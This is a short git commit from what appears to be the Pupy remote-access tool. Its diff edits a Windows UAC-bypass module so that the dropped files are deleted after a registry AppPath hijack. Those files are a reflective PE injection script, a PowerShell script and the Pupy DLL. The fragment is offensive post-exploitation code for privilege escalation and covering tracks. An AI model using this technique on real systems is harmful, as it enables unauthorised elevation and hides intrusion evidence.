cleanup bypassuac ps1 scripts

This commit is contained in:
n1nj4sec 2017-04-23 16:32:44 +02:00
parent 16245b91c2
commit 11e6d9fada
1 changed files with 1 additions and 2 deletions

View File

@ -50,8 +50,7 @@ class bypassuac():
self.module.info('Uploading temporary files')
self.uploadPupyDLL(force_x86_dll=force_x86_dll)
self.uploadPowershellScripts()
#files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath]
files_to_delete=[]
files_to_delete=[self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.pupyDLLRemotePath]
self.module.info('Altering the registry')
self.module.client.conn.modules["pupwinutils.bypassuac_remote"].registry_hijacking_appPath(self.mainPowershellScriptRemotePath, files_to_delete)